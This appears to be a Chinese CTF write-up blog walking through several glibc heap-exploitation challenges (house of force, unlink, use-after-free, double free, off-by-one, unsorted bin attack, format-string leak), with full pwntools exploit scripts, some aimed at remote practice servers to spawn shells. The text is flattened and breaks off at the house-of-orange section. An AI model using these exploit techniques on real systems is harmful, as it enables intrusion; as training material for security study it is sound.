1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 addr = add(0x200000 ,'aaaaaa' ) base = addr + 0x200ff0 log.success("libc base >>0x%x" ,base) top = add(0x18 ,"a" *0x10 +p64(0 )+p64(0xffffffffffffffff ))+0x10 log.success("top chunk >>0x%x" ,top) gdb.attach(p) pwndbg> heap 0x5559b4dfa000 FASTBIN { prev_size = 0 , size = 33 , fd = 0x6161616161616161 , bk = 0x6161616161616161 , fd_nextsize = 0x0 , bk_nextsize = 0xffffffffffffffff } pwndbg> x/12gx 0x5559b4dfa000 0x55d5b01aa000 : 0x0000000000000000 0x0000000000000021 0x55d5b01aa010 : 0x6161616161616161 0x6161616161616161 0x55d5b01aa020 : 0x0000000000000000 0xffffffffffffffff 0x55d5b01aa030 : 0x0000000000000000 0x0000000000000000 [+] Starting local process './gyctf_2020_force' : pid 50956 [+] libc base >>0x7fc48892d000 [+] top chunk >>0x55d5b01aa020
1 2 3 4 5 6 7 8 9 add((offset-0x33 ),"aaaa" ) add(0x10 ,"a" *0x8 +p64(one_gadget)+p64(realloc+16 )) 0x7f7a6909aaef <_IO_wide_data_0+303 >: 0x007f7a6909926000 0x0000000000002100 0x7f7a6909aaff : 0x6161616161616100 0x007f7a68d1b26a61 0x7f7a6909ab0f <__realloc_hook+7 >: 0x007f7a68d5a6d000 0xffd61c20d2750900 <-这里调整堆栈,使one gadget可用0x7f7a6909ab1f : 0x00000100000000ff 0x0000000000000000
4.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *elf = ELF("./gyctf_2020_force" ) libc = ELF("/home/joe1sn/libc/64/libc-2.23.so" ) p = process("./gyctf_2020_force" ) def add (sz,text ): p.sendlineafter("puts\n" ,"1" ) p.sendlineafter("size\n" ,str (sz)) p.recvuntil("0x" ) addr = int (p.recv(12 ),16 ) p.sendafter("content\n" ,text) return addr if __name__ == '__main__' : addr = add(0x200000 ,'aaaaaa' ) base = addr + 0x200ff0 log.success("libc base >>0x%x" ,base) top = add(0x18 ,"a" *0x10 +p64(0 )+p64(0xffffffffffffffff ))+0x10 log.success("top chunk >>0x%x" ,top) malloc_hook = base+libc.sym["__malloc_hook" ] realloc = base+libc.sym["__libc_realloc" ] one_gadget = 0x4526a + base offset = malloc_hook-top log.success("malloc hook >>0x%x" ,malloc_hook) log.success("realloc hook >>0x%x" ,realloc) log.success("offset >>0x%x" ,offset) add((offset-0x33 ),"aaaa" ) add(0x10 ,"a" *0x8 +p64(one_gadget)+p64(realloc+16 )) p.sendlineafter("puts\n" ,"1" ) p.sendlineafter("size\n" ,str (0x20 )) p.interactive()
gyctf_2020_some_thing_exceting
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
三大功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def add (ba_sz,ba_text,na_sz,na_text ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (ba_sz)) p.sendlineafter(":" ,str (ba_text)) p.sendlineafter(":" ,str (na_sz)) p.sendlineafter(":" ,str (na_text)) def delete (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) def view (idx ): p.sendlineafter(":" ,"4" ) p.sendlineafter(":" ,str (idx))
flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 flag () { FILE *stream; unsigned __int64 v2; v2 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); stream = fopen("/flag" , "r" ); if ( !stream ) { puts ("Emmmmmm!Maybe you want Fool me!" ); exit (0 ); } byte_6020A0 = 96 ; fgets(s, 45 , stream); return __readfsqword(0x28 u) ^ v2; }
后门函数
delete
1 2 3 free (*(void **)ptr[v1]);free (*((void **)ptr[v1] + 1 ));free (ptr[v1]);
free指针没有清零,可以直接接上
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *elf = ELF("./something" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) p = remote("node3.buuoj.cn" ,"25754" ) def add (ba_sz,ba_text,na_sz,na_text ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (ba_sz)) p.sendlineafter(":" ,str (ba_text)) p.sendlineafter(":" ,str (na_sz)) p.sendlineafter(":" ,str (na_text)) def delete (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) def view (idx ): p.sendlineafter(":" ,"4" ) p.sendlineafter(":" ,str (idx)) if __name__ == '__main__' : add(0x50 ,'0000' ,0x50 ,'1111' ) add(0x50 ,'2222' ,0x50 ,'3333' ) delete(0 ) delete(1 ) delete(0 ) add(0x50 ,p64(0x602098 ),0x50 ,'Chunk_2' ) add(0x50 ,'Chunk_3' ,0x50 ,'Chunk_4' ) add(0x50 ,'f' ,0x60 ,'2' ) view(4 ) p.interactive()
gyctf_2020_some_thing_interesting
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
sub_B7A
1 2 3 4 5 6 read(0 , s1, 0x13 uLL); if ( strncmp (s1, "OreOOrereOOreO" , 14uLL ) ) { puts ("Emmmmmm!Maybe you want Fool me!" ); exit (0 ); }
字符串格式化漏洞,这里可以泄露地址
delete
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned __int64 delete () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("#######################" ); puts ("# Delete Oreo #" ); puts ("#---------------------#" ); printf ("> Oreo ID : " ); _isoc99_scanf("%d" , &v1); if ( v1 < 0 || v1 > 10 || !chunk[v1] ) { puts ("Emmmmmm!Maybe you want Fool me!" ); Exit(); } free (chunk[v1]); free (re_chunk[v1]); puts ("#---------------------#" ); puts ("# ALL Down! #" ); puts ("#######################" ); return __readfsqword(0x28 u) ^ v2; }
free 后指针没有置零,造成uaf
3.exp1 偏移量计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *elf = ELF("./gyctf_2020_some_thing_interesting" ) libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so" ) sh = 0 counter="" def start (i ): sh.sendlineafter(":" ,"OreOOrereOOreO%" +str (i)+"$p" ) def check_in (i ): sh.sendlineafter(":" ,"0" ) sh.recvuntil("OreOOrereOOreO" ) str1 = sh.recv(16 ) if "0x7f" in str1: success("This can be tested" ) global counter counter+= " " +str (i)+" " print "\n" print "\n" else : pass def offset_count (ip,port,mode,debug,i ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process("./gyctf_2020_some_thing_interesting" ) else : sh = remote(ip,port) start(i) check_in(i) sh.close() if __name__ == '__main__' : for i in range (4 ,20 ): offset_count(1 ,1 ,0 ,1 ,i) print "can be tested >" print counter
得到
4 6 7 10 11 12 14 16 17 19
最终得到偏移量为 17
这里也可以使用 *b $rebase(偏移地址) 来慢慢计算得到偏移
3.exp2 攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *elf = ELF("./gyctf_2020_some_thing_interesting" ) libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so" ) sh = 0 def leak_addr (): sh.sendlineafter(":" ,"OreOOrereOOreO%17$p" ) sh.sendlineafter(":" ,"0" ) sh.recvuntil("OreOOrereOOreO0x" ) return int (sh.recv(12 ),16 ) def create (o_sz,o_text,re_sz,re_text ): sh.sendlineafter(":" ,"1" ) sh.sendlineafter(": " ,str (o_sz)) sh.sendlineafter(": " ,o_text) sh.sendlineafter(": " ,str (re_sz)) sh.sendlineafter(": " ,re_text) def edit (idx,o_text,re_text ): sh.sendlineafter(":" ,"2" ) sh.sendlineafter(": " ,str (idx)) sh.sendlineafter(": " ,o_text) sh.sendlineafter(": " ,re_text) def delete (idx ): sh.sendlineafter(":" ,"3" ) sh.sendlineafter(": " ,str (idx)) def show (idx ): sh.sendlineafter(":" ,"3" ) sh.sendlineafter(": " ,str (idx)) def pwn (ip,port,debug,mode ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process("./gyctf_2020_some_thing_interesting" ) else : sh = remote(ip,port) leak = leak_addr() base = leak-0x20830 one_gadget = 0xf1147 +base malloc_hook = base+libc.sym["__malloc_hook" ] success("base -> 0x%x" ,base) success("one gadget -> 0x%x" ,one_gadget) success("malloc hook -> 0x%x" ,malloc_hook) create(0x68 ,'aaaa' ,0x68 ,'1111' ) create(0x68 ,'aaaa' ,0x68 ,'1111' ) delete(1 ) delete(2 ) delete(1 ) create(0x68 ,p64(malloc_hook-35 ),0x68 ,'1111' ) create(0x68 ,p64(malloc_hook-35 ),0x68 ,'1111' ) create(0x68 ,p64(malloc_hook-35 ),0x68 ,"a" *0x13 +p64(one_gadget)) sh.sendlineafter(":" ,"1" ) sh.sendlineafter(": " ,"20" ) sh.interactive() if __name__ == '__main__' : pwn("node3.buuoj.cn" ,29443 ,1 ,1 )
hitcon_2014_stkof
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
程序太简陋了,几乎没有交互,能用的有三个功能
1 2 3 4 5 6 7 8 9 10 11 12 13 def add (sz ): p.snedline("1" ) p.snedline(str (sz)) def edit (chunk,size,strs ): p.sendline("2" ) p.sendline(chunk) p.sendline(size) p.sendline(strs) def free (chunk ): p.sendline("3" ) p.sendline(chunk)
sub_4009E8() edit
1 2 3 4 5 for ( i = fread(ptr, 1uLL , n, stdin ); i > 0 ; i = fread(ptr, 1uLL , n, stdin ) ) { ptr += i; n -= i; }
没有控制输入范围,可以堆溢出
全局变量s
1 2 3 4 5 6 7 .bss:0000000000602104 align 40h .bss:0000000000602140 ; char *s[1049600] .bss:0000000000602140 s dq ? ; DATA XREF: add+78↑w .bss:0000000000602140 ; edit+60↑r ... .bss:0000000000602148 db ? ; .bss:0000000000602149 db ? ; .bss:000000000060214A db ? ;
思路
有堆溢出,有全局指针变量,没有输出函数,所以用unlink改free@got
为 puts
,再次调用free
就相当于调用puts
,从而libc leak
填入onegedget
或者该函数为system
并执行binsh,从而getshell
3.GDB
unlink部份
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 alloc(0x100 ) alloc(0x30 ) alloc(0x80 ) head = 0x602140 payload = p64(0 ) payload += p64(0x20 ) payload += p64(head + 16 - 0x18 ) payload += p64(head + 16 - 0x10 ) payload += p64(0x20 ) payload = payload.ljust(0x30 , 'a' ) payload += p64(0x30 ) payload += p64(0x90 ) edit(2 , len (payload), payload) free(3 ) p.recvuntil('OK\n' ) gdb.attach(p)
gdb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 0x1561000 PREV_INUSE { prev_size = 0, size = 4113, fd = 0xa33, bk = 0x20, fd_nextsize = 0x602138, bk_nextsize = 0x602140 } 0x1562010 PREV_INUSE { prev_size = 0, size = 273, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1562120 PREV_INUSE { prev_size = 0, size = 1041, fd = 0xa4b4f, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1562530 FASTBIN { prev_size = 0, size = 65, fd = 0x0, bk = 0x20ac1, fd_nextsize = 0x602138, bk_nextsize = 0x602140 } pwndbg> x/32gx 0x1561000 0x1561000: 0x0000000000000000 0x0000000000001011 0x1561010: 0x0000000000000a33 0x0000000000000020 fake fd fake bk 0x1561020: 0x0000000000602138 0x0000000000602140 0x1561030: 0x0000000000000020 0x6161616161616161 0x1561040: 0x0000000000000030 0x0000000000000090 0x1561050: 0x0000000000000000 0x0000000000000000 0x1561060: 0x0000000000000000 0x0000000000000000
4.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *context.log_level = "debug" elf = ELF("./stkof" ) libc = ELF('/home/joe1sn/libc/64/libc-2.23.so' ) p = remote("node3.buuoj.cn" ,"25342" ) def alloc (size ): p.sendline('1' ) p.sendline(str (size)) p.recvuntil('OK\n' ) def edit (idx, size, content ): p.sendline('2' ) p.sendline(str (idx)) p.sendline(str (size)) p.send(content) p.recvuntil('OK\n' ) def free (idx ): p.sendline('3' ) p.sendline(str (idx)) if __name__ == '__main__' : alloc(0x100 ) alloc(0x30 ) alloc(0x80 ) head = 0x602140 payload = p64(0 ) payload += p64(0x20 ) payload += p64(head + 16 - 0x18 ) payload += p64(head + 16 - 0x10 ) payload += p64(0x20 ) payload = payload.ljust(0x30 , 'a' ) payload += p64(0x30 ) payload += p64(0x90 ) edit(2 , len (payload), payload) free(3 ) p.recvuntil('OK\n' ) payload = 'a' * 8 + p64(elf.got['free' ]) + p64(elf.got['puts' ]) + p64(elf.got['atoi' ]) edit(2 , len (payload), payload) payload = p64(elf.plt['puts' ]) edit(0 , len (payload), payload) free(1 ) puts_addr = p.recvuntil('\nOK\n' , drop=True ).ljust(8 , '\x00' ) puts_addr = u64(puts_addr) log.success('puts addr: ' + hex (puts_addr)) libc_base = puts_addr - libc.symbols['puts' ] binsh_addr = libc_base + next (libc.search('/bin/sh' )) system_addr = libc_base + libc.symbols['system' ] log.success('libc base: ' + hex (libc_base)) log.success('/bin/sh addr: ' + hex (binsh_addr)) log.success('system addr: ' + hex (system_addr)) payload = p64(system_addr) edit(2 , len (payload), payload) p.send(p64(binsh_addr)) p.interactive()
hitcontraining_uaf
Use_After_Free
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
得到几个选项+后门
1 2 3 4 def add (sz,text ): p.sendlineafter("choice :" ,"1" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text)
1 2 3 def dele (idx ): p.sendlineafter("choice :" ,"2" ) p.sendlineafter(":" ,str (idx))
1 2 3 def show (idx ): p.sendlineafter("choice :" ,"3" ) p.sendlineafter("choice :" ,str (idx))
backdoor:
1 2 3 4 int magic () { return system("cat /home/hacknote/flag" ); }
free:
1 2 3 free (*((void **)notelist[v1] + 1 )); free (notelist[v1]); puts ("Success" );
这里free后指针未清造成UAF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *p = process("./hacknote" ) def addnote (size,content ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (size)) p.sendlineafter(":" ,content) def delnote (idx ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) def printnote (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) if __name__ == '__main__' : magic = 0x08048986 system = 0x8048506 addnote(32 ,"ddaa" ) addnote(32 ,"ddaa" ) addnote(32 ,"ddaa" ) delnote(0 ) delnote(1 ) addnote(8 ,p32(magic)) printnote(0 ) p.interactive()
hitcontraining_bamboobox
Unlink or House_Of_Force
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
1 2 3 4 def add (length,name ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (length)) p.sendlineafter(":" ,name)
1 2 3 4 5 def edit (idx,length,name ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (length)) p.sendlineafter(":" ,name)
1 2 3 def free (idx ): p.sendlineafter(":" ,"4" ) p.sendlineafter(":" ,str (idx))
1 2 def show (): p.sendlineafter(":" ,"1" )
back_door
1 2 3 4 5 6 7 8 9 10 11 12 13 void __noreturn magic () { int fd; char buf; unsigned __int64 v2; v2 = __readfsqword(0x28 u); fd = open("/home/bamboobox/flag" , 0 ); read(fd, &buf, 0x64 uLL); close(fd); printf ("%s" , &buf); exit (0 ); }
change_item
1 2 3 4 5 6 printf ("Please enter the length of item name:" , &buf); read(0 , &nptr, 8uLL ); v0 = atoi(&nptr); printf ("Please enter the new name of the item:" , &nptr); *(_BYTE *)(qword_6020C8[2 * v2] + (signed int )read(0 , (void *)qword_6020C8[2 * v2], v0)) = 0 ; }
堆溢出
**1.unsafe unlink: **对进行 unlink chunk 进行内存布然后借助 unlink 操作来达成修改指针的效果。个人认为通过堆溢出伪造一个chun伪造的chunk一般在fd和bk上不同
**2.house of force: **
进行堆分配如果所有空闲的块都无法满足需那么就会从 top chunk 中分割出相应的大小作为堆块的空间。
那当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案可以使得 top chunk指向我们期望的任何位这就相当于一次任意地址写。 --CTFWiKi
需要以下条件:
能够以溢出等方式控制到 top chunk 的 size 域
能够自由地控制堆分配尺寸的大小
unlink
原版EXP方便理解所以直接拿来用了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *host = "training.pwnable.tw" port = 11011 r = remote(host,port) def additem (length,name ): r.recvuntil(":" ) r.sendline("2" ) r.recvuntil(":" ) r.sendline(str (length)) r.recvuntil(":" ) r.sendline(name) def modify (idx,length,name ): r.recvuntil(":" ) r.sendline("3" ) r.recvuntil(":" ) r.sendline(str (idx)) r.recvuntil(":" ) r.sendline(str (length)) r.recvuntil(":" ) r.sendline(name) def remove (idx ): r.recvuntil(":" ) r.sendline("4" ) r.recvuntil(":" ) r.sendline(str (idx)) def show (): r.recvuntil(":" ) r.sendline("1" ) additem(0x40 ,"a" *8 ) additem(0x80 ,"b" *8 ) additem(0x40 ,"c" *8 ) ptr = 0x6020c8 fake_chunk = p64(0 ) fake_chunk += p64(0x41 ) fake_chunk += p64(ptr-0x18 ) fake_chunk += p64(ptr-0x10 ) fake_chunk += "c" *0x20 fake_chunk += p64(0x40 ) fake_chunk += p64(0x90 ) modify(0 ,0x80 ,fake_chunk) remove(1 ) payload = p64(0 )*2 payload += p64(0x40 ) + p64(0x602068 ) modify(0 ,0x80 ,payload) show() r.recvuntil("0 : " ) atoi = u64(r.recvuntil(":" )[:6 ].ljust(8 ,"\x00" )) libc = atoi - 0x36e80 print "libc:" ,hex (libc)system = libc + 0x45390 modify(0 ,0x8 ,p64(system)) r.recvuntil(":" ) r.sendline("sh" ) r.interactive()
这里可以看见我们伪造的堆结构:
1 2 3 4 5 6 7 8 ptr = 0x6020c8 fake_chunk = p64(0 ) fake_chunk += p64(0x41 ) fake_chunk += p64(ptr-0x18 ) fake_chunk += p64(ptr-0x10 ) fake_chunk += "c" *0x20 fake_chunk += p64(0x40 ) fake_chunk += p64(0x90 )
house of force
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *r = process("./bamboobox" ) elf = ELF("./bamboobox" ) def alloc (length,context ): r.recvuntil("Your choice:" ) r.sendline("2" ) r.recvuntil("Please enter the length of item name:" ) r.sendline(str (length)) r.recvuntil("Please enter the name of item:" ) r.send(context) def edit (idx,length,context ): r.recvuntil("Your choice:" ) r.sendline("3" ) r.recvuntil("Please enter the index of item:" ) r.sendline(str (idx)) r.recvuntil("Please enter the length of item name:" ) r.sendline(str (length)) r.recvuntil("Please enter the new name of the item:" ) r.send(context) def free (idx ): r.recvuntil("Your choice:" ) r.sendline("4" ) r.recvuntil("Please enter the index of item:" ) r.sendline(str (idx)) def show (): r.sendlineafter("Your choice:" , "1" ) def exit (): r.sendlineafter(":" , "5" ) alloc(0x30 ,'aaaa' ) payload='a' *0x30 +p64(0 )+p64(0xffffffffffffffff ) edit(0 ,0x40 ,payload) magic=elf.sym['magic' ] malloc_size = -(0x40 + 0x20 )-0x10 alloc(malloc_size,'aaaa' ) alloc(0x10 ,p64(magic)*2 ) exit() r.interactive()
hitcontraining_magicheap
Unsorted_Bin_Attack
控制 Unsorted Bin Chunk 的 bk 指针
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
1 2 3 4 def add (sz,text ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text)
1 2 3 4 5 def edit (idx,text ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (len (text))) p.sendlineafter(":" ,str (text))
1 2 3 def free (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx))
back_door
1 2 3 4 int l33t () { return system("/bin/sh" ); }
edit_heap
1 2 3 4 5 6 printf ("Size of Heap : " , (char *)&v1 + 4 , v1); read(0 , (char *)&v1 + 4 , 8uLL ); v2 = atoi((const char *)&v1 + 4 ); printf ("Content of heap : " , (char *)&v1 + 4 , v1); read_input(heaparray[(signed int )v1], v2); return puts ("Done !" );
未控制边堆溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context.log_level = "debug" elf = ELF("./magicheap" ) libc = ELF("/home/joe1sn/libc/64/libc-2.23.so" ) p = process("./magicheap" ) def add (sz,text ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text) def edit (idx,text ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (len (text))) p.sendlineafter(":" ,str (text)) def free (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) l33t = 0x6020A0 if __name__ == '__main__' : add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) free(2 ) edit(1 ,'a' *0x60 +p64(0 )+p64(0x71 )+p64(l33t-0x13 )) add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) edit(3 ,'a' *8 ) p.sendlineafter(":" ,str (0x1305 )) p.interactive()
为什么是p64(l33t-0x13)?
经过动态调试得该处是unsorted bin链表
为什么edit(3,‘a’*8)?
覆写magic的值为‘0x6161616161616161从而进入后门
hitcontraining_heapcreator
Off_By_One
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
日常增删查改
1 2 3 4 def add (size,content ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (size)) p.sendlineafter(":" ,content)
1 2 3 4 def edit (idx,content ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,content)
1 2 3 def show (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx))
1 2 3 def delete (idx ): p.sendlineaftr(":" ,"4" ) p.sendline(":" ,str (idx))
edit
1 2 3 printf ("Content of heap : " , &buf); read_input(*((_QWORD *)heaparray[v1] + 1 ), *(_QWORD *)heaparray[v1] + 1LL ); puts ("Done !" );
人为的多读取了一个字节(off by one使得我们可以控制下一个chunk
的size
,再得到`libc base 最后改free为system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context.log_level = "debug" elf = ELF("./heapcreator" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) p = remote("node3.buuoj.cn" ,29082 ) def add (size,content ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (size)) p.sendlineafter(":" ,content) def edit (idx,content ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,content) def show (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) def delete (idx ): p.sendlineaftr(":" ,"4" ) p.sendline(":" ,str (idx)) if __name__ == '__main__' : add(0x18 ,'aaaa' ) add(0x18 ,'aaaa' ) edit(0 ,'/bin/sh\x00' +'a' *0x10 +'\x41' ) delete(1 ) add(0x30 ,p64(0 )*4 +p64(0x30 )+p64(elf.got["free" ])) show(1 ) leak=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) base=leak-libc.sym["free" ] sys_addr = base+libc.sym["system" ] log.success("leak addr=>0x%x" ,leak) log.success("libc base=>0x%x" ,base) log.success("system addr=>0x%x" ,sys_addr) edit(1 ,p64(sys_addr)) delete(0 ) p.interactive()
hitcontraining_secret_garden
Double_Free
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
原来的菜单有很多无用的函有用的就两个
1 2 3 4 5 def create (lenght,name,color ): p.sendlineafter(":" ,'1' ) p.sendlineafter(":" ,str (lenght)) p.sendlineafter(":" ,name) p.sendlineafter(":" ,color)
1 2 3 def delete (idx ): p.sendlineafter(":" ,'3' ) p.sendlineafter(":" ,str (idx))
back_door
1 2 3 4 int magic () { return system("/bin/sh" ); }
原版EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *host = "training.pwnable.tw" port = 11012 r = process("./secretgarden" ) def raiseflower (length,name,color ): r.recvuntil(":" ) r.sendline("1" ) r.recvuntil(":" ) r.sendline(str (length)) r.recvuntil(":" ) r.sendline(name) r.recvuntil(":" ) r.sendline(color) def visit (): r.recvuntil(":" ) r.sendline("2" ) def remove (idx ): r.recvuntil(":" ) r.sendline("3" ) r.recvuntil(":" ) r.sendline(str (idx)) def clean (): r.recvuntil(":" ) r.sendline("4" ) magic = 0x400c7b fake_chunk = 0x601ffa raiseflower(0x50 ,"da" ,"red" ) raiseflower(0x50 ,"da" ,"red" ) remove(0 ) remove(1 ) remove(0 ) raiseflower(0x50 ,p64(fake_chunk),"blue" ) raiseflower(0x50 ,"da" ,"red" ) raiseflower(0x50 ,"da" ,"red" ) raiseflower(0x50 ,"a" *6 + p64(0 ) + p64(magic)*2 ,"red" ) r.interactive()
houseoforange_hitcon_2016
checksec
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
保护全开
IDA
1 2 3 puts (" 1. Build the house " );puts (" 2. See the house " );puts (" 3. Upgrade the house " );
没有 free 相关函数
build
1 2 3 4 5 if ( unk_203070 > 3u ) { puts ("Too many house" ); exit (1 ); }
最多只能有3个橘子
1 2 3 4 5 6 7 8 9 10 11 v3 = malloc (0x10 uLL); printf ("Length of name :" );size = made_choice(); if ( size > 0x1000 ) size = 0x1000 ; v3[1 ] = malloc (size); if ( !v3[1 ] ){ puts ("Malloc error !!!" ); exit (1 ); }
最多可以申请 0x1000大小的chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 printf ("Color of Orange:" ); size_4 = made_choice(); if ( size_4 != 0xDDAA && (size_4 <= 0 || size_4 > 7 ) ) { puts ("No such color" ); exit (1 ); } if ( size_4 == 0xDDAA ) v4[1 ] = 0xDDAA ; else v4[1 ] = size_4 + 30 ; *(_QWORD *)v3 = v4; house_idx = v3; ++unk_203070; return puts ("Finish" ); }
发现 color 可以变为(1<x<=7)|| x=0xDDAA,这里可能是突破口
upgrade
1 2 if ( unk_203074 > 2u ) return puts ("You can't upgrade more" );
只能使用两次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 printf ("Length of name :" );v2 = made_choice(); if ( v2 > 0x1000 ) v2 = 0x1000 ; printf ("Name:" );safe_read((void *)house_name[1 ], v2); printf ("Price of Orange: " , v2);v1 = (_DWORD *)*house_name; *v1 = made_choice(); colorful(); printf ("Color of Orange: " );v3 = made_choice(); if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7 ) ){ puts ("No such color" ); exit (1 ); } if ( v3 == 0xDDAA ) *(_DWORD *)(*house_name + 4LL ) = 0xDDAA ; else *(_DWORD *)(*house_name + 4LL ) = v3 + 30 ; ++unk_203074; return puts ("Finish" );
同样可以申请 0x1000大小的chunk之类的操作,可以堆溢出
思路
1.修改top_chunk的size
2.触发sysmalloc中的_int_free
3.泄露libc和heap的地址
4.触发异常
gdb
0x1 修改top_chunk的size
申请一个house,结构为
